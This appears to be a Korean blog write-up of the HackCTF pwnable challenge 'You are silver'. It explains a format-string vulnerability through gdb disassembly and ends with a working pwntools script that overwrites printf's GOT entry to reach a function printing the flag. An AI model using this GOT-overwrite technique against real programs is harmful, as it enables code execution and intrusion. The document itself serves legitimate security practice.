Wargame/HackCTF
[Pwnable] You are silver
210_
2020. 1. 8. 23:30
들어가며
이번 문제는 fsb
를 통해 푸는 문제이다. 이 문제를 통해서 fsb
의 감을 어느정도 익힌 것 같다.
문제해석
이 문제는 다음과 같이 문자를 입력받고 <get_tier>
라는 함수의 반환값을 인자로 printf
함수를 호출한다.
<get_tier>
에서 반환값은 0x1~0x5
이기 때문에 printf
함수에서 segmentation fault
가 일어난다.
gdb-peda$ pd
Dump of assembler code for function main:
...
0x0000000000400848 <+64>: lea rax,[rbp-0x30]
0x000000000040084c <+68>: mov esi,0x2e
0x0000000000400851 <+73>: mov rdi,rax
0x0000000000400854 <+76>: call 0x4005c0 <fgets@plt>
...
0x000000000040086f <+103>: call 0x400777 <get_tier>
...
0x000000000040087c <+116>: mov rdi,rax
0x000000000040087f <+119>: mov eax,0x0
0x0000000000400884 <+124>: call 0x4005b0 <printf@plt>
...
이때, fsb
는 printf
함수의 인자가 다음과 같이 1개
이기 때문에 발생한다.
gdb-peda$ pd
Dump of assembler code for function main:
...
0x0000000000400859 <+81>: lea rax,[rbp-0x30]
0x000000000040085d <+85>: mov rdi,rax
0x0000000000400860 <+88>: mov eax,0x0
0x0000000000400865 <+93>: call 0x4005b0 <printf@plt>
...
그러므로, fsb
를 통하여 printf
함수의 주소를 <play_game>
이라는 함수로 바꿔주면 될것이다.
<play_game>
함수는 <get_tier>
에서 반환된 값이 0x4
일 경우, system("cat ./flag")
를 해준다.
<get_tier>
에서 반환값이 0x4
가 나오려면, main
에서 [rbp-0x4]
값이 0x4b('K')
이상이어야 한다.
풀이
그러므로 fsb
를 행하여 offset
을 찾는 것이 첫번째이다.
root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)# ./you_are_silver
Please enter your name
AAAAAAAA %6$p
AAAAAAAA 0x4141414141414141
You are silver.
세그멘테이션 오류 (core dumped)
root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)#
offset
은 6
이며, 이제 payload를 짜면 다음과 같다.
exploit.py
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3022)
e = ELF('./you_are_silver')
printf_got = e.got['printf']
play_game = 0x4006d7 # 4196055
# offset 6
payload = ''
payload += '%{}c'.format(play_game) # duplicate source
payload += '%8$ln' # offset + (len(payload) / 8)
payload += '\x00' * (8 - len(payload) % 8) # padding
#print(len(payload)) # 16
payload += p64(printf_got) # duplicate target
payload += 'L'*(46-len(payload)) # make challenger
r.sendlineafter('\n', payload)
r.interactive()